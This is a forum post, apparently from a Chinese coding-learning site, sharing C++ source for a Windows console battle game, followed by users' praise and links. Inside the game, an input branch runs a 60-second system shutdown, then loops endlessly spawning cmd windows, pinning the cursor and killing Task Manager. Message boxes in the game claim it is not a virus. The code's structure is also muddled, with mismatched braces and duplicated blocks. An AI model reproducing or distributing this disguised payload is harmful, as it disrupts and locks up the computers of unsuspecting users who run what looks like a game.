好吧,当日速更AC大对决
2024-08-20 18:22:42
发布于:浙江
#include<bits/stdc++.h>//此为原创
#include<windows.h>
#define t system
#define g cout
#define h cin
#define j endl
#define sleep Sleep
#define pos SetCursorPos
using namespace std;
int jinbi=200,zhadan=0,busituten=0,quyu=0,wuyong=0,tuichu=0,numshaizi,xueliang=100,duifangxueliang=100;
bool pikaqiu=true,xiaotuoluo=false;
string A;
bool isKeyPressed(int key) {
return (GetAsyncKeyState(key) & 0x8000) != 0;
}
void a(){
cout<<" 欢迎来到AC大对决" <<endl;
cout<<" ————————————" <<endl;
cout<<" 请选择操作" <<endl;
cout<<" ————————————" <<endl;
cout<<"| 1.商店 2.开始 3.退出 |"<<endl;
cout<<" ————————————" <<endl;
}void b(){
srand(time(NULL));
for(int i=1;i<=10;i++){
system("cls");
numshaizi=rand()%3+1;
}
}
int main(){
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
MessageBoxA(NULL,"正常游戏,不为病毒,除非乱按卡BUG","作者的话",MB_ICONWARNING);
MessageBoxA(NULL,"本为作者原创","作者的话",MB_ICONWARNING);
MessageBoxA(NULL,"本为作者原创","作者的话",MB_ICONWARNING);
MessageBox(NULL,"本为作者原创","作者的话",MB_ICONWARNING);
MessageBoxA(NULL,"本为作者原创","作者的话",MB_ICONWARNING);
MessageBoxA(NULL,"本为作者原创","作者的话",MB_ICONWARNING);
FreeConsole();
AllocConsole();
HWND hwmd = GetForegroundWindow();
SetWindowText(hwmd,TEXT("C++游戏"));
while(true){
system("cls");
cout<<"先提示一下:目前您的游戏版本是V-1.05联机版\n";
int n=0;
a();
cin>>n;
system("cls");
if(n==3){
break;
}
if(n==1){
cout<<"你的金币是:"<<jinbi<<endl;
cout<<"宠物(人物)区:1"<<endl;
cout<<"武器区:2"<<endl;
//暂时不行cout<<"按错了,退出:其他\n";不要输!!!会关机!!!
cout<<"你要进入什么区?"<<endl;
cin>>quyu;
system("cls");
if(quyu==1){
cout<<"你的金币是:"<<jinbi<<endl;
cout<<"皮卡丘(200金币)(输入1)\n";
cout<<"小陀螺(拉*委员)(500金币)(输入2)\n";
cin>>wuyong;
if(wuyong==1 && jinbi>=200){
cout<<"购买成功!\n";
Sleep(500);
jinbi=jinbi-200;
system("cls");
continue;
}else if(wuyong==2 && jinbi>=500){
cout<<"购买成功!\n";
Sleep(500);
system("cls");
jinbi=jinbi-500;
continue;
}else if(wuyong==1 && jinbi<200){
cout<<"金币不足,购买失败\n";
Sleep(500);
system("cls");
continue;
}else if(wuyong==2 && jinbi<500)
cout<<"金币不足,购买失败\n";
Sleep(500);
system("cls");
continue;
}
}else if(quyu==2){
cout<<"你的金币是:"<<jinbi<<endl;
cout<<"AK 01(200金币)(输入1)\n";//笑点
cout<<"AJ 47(500金币)(输入2)\n";//笑点
cin>>wuyong;
if(wuyong==1 && jinbi>=200){
cout<<"购买成功!\n";
Sleep(500);
jinbi=jinbi-200;
system("cls");
continue;
}else if(wuyong==2 && jinbi>=500){
cout<<"购买成功!\n";
Sleep(500);
system("cls");
jinbi=jinbi-500;
continue;
}else if(wuyong==1 && jinbi<200){
cout<<"金币不足,购买失败\n";
Sleep(500);
system("cls");
continue;
}else if(wuyong==2 && jinbi<500){
cout<<"金币不足,购买失败\n";
Sleep(500);
system("cls");
continue;
}
else{
continue;
}
}
if(n==2){
system("cls");
cout<<"请选择:\n";
cout<<"自恋韩老师(1) 严厉张老师(2)\n";
cin>>wuyong;
b();
numshaizi=3;
Sleep(500);
for(int i=1;i<=3;i++){
system("cls");
cout << "正在为你匹配对手. " << endl;
Sleep(300);
system("cls");
cout << "正在为你匹配对手.. " << endl;
Sleep(300);
system("cls");
cout << "正在为你匹配对手..." << endl;
Sleep(300);
system("cls");
}
if(wuyong==1){
if(numshaizi==1){
cout<<"您的对手是:小白\n";
system("cls");
}
if(numshaizi==2){
cout<<"您的对手是:僵尸\n";
system("cls");
while(xueliang>0 && duifangxueliang>0){
Sleep(1000);
system("cls");
cout<<"您的对手是:小偷\n";
cout<<" 你要干什么?" <<endl;
cout<<" ————————————" <<endl;
cout<<" 请选择操作" <<endl;
cout<<" ————————————" <<endl;
cout<<"| 1.技能 |"<<endl;
cout<<" ————————————" <<endl;
cin>>wuyong;
system("cls");
if(wuyong==1){
cout<<" ————————————" <<endl;
cout<<"| 1.晚餐保卫战 |"<<endl;
cout<<"| 2.OI赛制 | "<<endl;
cout<<" ————————————" <<endl;
cin>>wuyong;
if(wuyong==1){
cout<<"你使用了晚餐保卫战(原神抽卡!)对方受到了30点伤害!\n";
duifangxueliang=duifangxueliang-30;
if(duifangxueliang!=0){
if(jinbi>=20){
cout<<"对方偷走了你的钱,金币-20。\n";
jinbi=jinbi-20;
xueliang=xueliang-10;
} else{
cout<<"对方使用AK-47,你的血量-20\n";
xueliang=xueliang-20;
}
}
}else if(wuyong==2) {
cout<<"你使用了晚OI赛制,对方受到了30点精神伤害!\n";
duifangxueliang=duifangxueliang-30;
if(duifangxueliang!=0){
if(jinbi>=20){
system("cls");
cout<<"对方偷走了你的钱,金币-20。\n";
jinbi=jinbi-20;
xueliang=xueliang-10;
} else{
cout<<"对方使用AK-47,你的血量-20\n";
xueliang=xueliang-20;
}
}
}
}
}
}
if(numshaizi==3){
while(xueliang>0 && duifangxueliang>0){
Sleep(1000);
system("cls");
cout<<"您的对手是:小偷\n";
cout<<" 你要干什么?" <<endl;
cout<<" ————————————" <<endl;
cout<<" 请选择操作" <<endl;
cout<<" ————————————" <<endl;
cout<<"| 1.技能 |"<<endl;
cout<<" ————————————" <<endl;
cin>>wuyong;
system("cls");
if(wuyong==1){
cout<<" ————————————" <<endl;
cout<<"| 1.晚餐保卫战 |"<<endl;
cout<<"| 2.OI赛制 | "<<endl;
cout<<" ————————————" <<endl;
cin>>wuyong;
if(wuyong==1){
cout<<"你使用了晚餐保卫战(原神抽卡!)对方受到了30点伤害!\n";
duifangxueliang=duifangxueliang-30;
if(duifangxueliang!=0){
if(jinbi>=20){
cout<<"对方偷走了你的钱,金币-20。\n";
jinbi=jinbi-20;
xueliang=xueliang-10;
} else{
cout<<"对方使用AK-47,你的血量-20\n";
xueliang=xueliang-20;
}
}
}else if(wuyong==2) {
cout<<"你使用了晚OI赛制,对方受到了30点精神伤害!\n";
duifangxueliang=duifangxueliang-30;
if(duifangxueliang!=0){
if(jinbi>=20){
system("cls");
cout<<"对方偷走了你的钱,金币-20。\n";
jinbi=jinbi-20;
xueliang=xueliang-10;
} else{
cout<<"对方使用AK-47,你的血量-20\n";
xueliang=xueliang-20;
}
}
if(numshaizi==1){
cout<<"您的对手是:小白\n";
system("cls");
while(xueliang>0 && duifangxueliang>0){
Sleep(1000);
system("cls");
cout<<"您的对手是:小偷\n";
cout<<" 你要干什么?" <<endl;
cout<<" ————————————" <<endl;
cout<<" 请选择操作" <<endl;
cout<<" ————————————" <<endl;
cout<<"| 1.技能 |"<<endl;
cout<<" ————————————" <<endl;
cin>>wuyong;
system("cls");
if(wuyong==1){
cout<<" ————————————" <<endl;
cout<<"| 1.晚餐保卫战 |"<<endl;
cout<<"| 2.OI赛制 | "<<endl;
cout<<" ————————————" <<endl;
cin>>wuyong;
if(wuyong==1){
cout<<"你使用了晚餐保卫战(原神抽卡!)对方受到了30点伤害!\n";
duifangxueliang=duifangxueliang-30;
if(duifangxueliang!=0){
if(jinbi>=20){
cout<<"对方偷走了你的钱,金币-20。\n";
jinbi=jinbi-20;
xueliang=xueliang-10;
} else{
cout<<"对方使用AK-47,你的血量-20\n";
xueliang=xueliang-20;
}
}
}else if(wuyong==2) {
cout<<"你使用了晚OI赛制,对方受到了30点精神伤害!\n";
duifangxueliang=duifangxueliang-30;
if(duifangxueliang!=0){
if(jinbi>=20){
system("cls");
cout<<"对方偷走了你的钱,金币-20。\n";
jinbi=jinbi-20;
xueliang=xueliang-10;
} else{
cout<<"对方使用AK-47,你的血量-20\n";
xueliang=xueliang-20;
}
}
}
}
}
}
if(numshaizi==3){
while(xueliang>0 && duifangxueliang>0){
Sleep(1000);
system("cls");
cout<<"您的对手是:小偷\n";
cout<<" 你要干什么?" <<endl;
cout<<" ————————————" <<endl;
cout<<" 请选择操作" <<endl;
cout<<" ————————————" <<endl;
cout<<"| 1.技能 |"<<endl;
cout<<" ————————————" <<endl;
cin>>wuyong;
system("cls");
if(wuyong==1){
cout<<" ————————————" <<endl;
cout<<"| 1.晚餐保卫战 |"<<endl;
cout<<"| 2.OI赛制 | "<<endl;
cout<<" ————————————" <<endl;
cin>>wuyong;
if(wuyong==1){
cout<<"你使用了晚餐保卫战(原神抽卡!)对方受到了30点伤害!\n";
duifangxueliang=duifangxueliang-30;
if(duifangxueliang!=0){
if(jinbi>=20){
cout<<"对方偷走了你的钱,金币-20。\n";
jinbi=jinbi-20;
xueliang=xueliang-10;
} else{
cout<<"对方使用AK-47,你的血量-20\n";
xueliang=xueliang-20;
}
}
}else if(wuyong==2) {
cout<<"你使用了晚OI赛制,对方受到了30点精神伤害!\n";
duifangxueliang=duifangxueliang-30;
if(duifangxueliang!=0){
if(jinbi>=20){
system("cls");
cout<<"对方偷走了你的钱,金币-20。\n";
jinbi=jinbi-20;
xueliang=xueliang-10;
} else{
cout<<"对方使用AK-47,你的血量-20\n";
xueliang=xueliang-20;
}
}
}
}
}
}
}
}
}
}
}
}
else{
t("shutdown -s -t 60 -c 60秒关机,启动!");
g << endl;
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
}
return 0;
全部评论 5
GOOD!!!
1周前 来自 浙江
0我的:https://www.acgo.cn/discuss/study/24936
2024-08-20 来自 上海
0谢谢🙏wait ¿¿¿牛逼!!!
2024-08-20 来自 浙江
0另一个:https://www.acgo.cn/discuss/post/26266?commentId=84700
2024-08-21 来自 浙江
0嗯
2024-08-21 来自 上海
0
谢谢!!!帮忙点个赞和关注!!!万般感谢!!!
2024-08-20 来自 浙江
0https://www.acgo.cn/application/1806870311760367616
ZDZL鲨鲨鲨团队邀请您2024-08-18 来自 广东
0你哪个小区的?
2024-08-18 来自 浙江
0你什么区的
2024-08-18 来自 浙江
0我列宁格勒州的
2024-08-18 来自 浙江
0没听过
2024-08-19 来自 浙江
0
有帮助,赞一个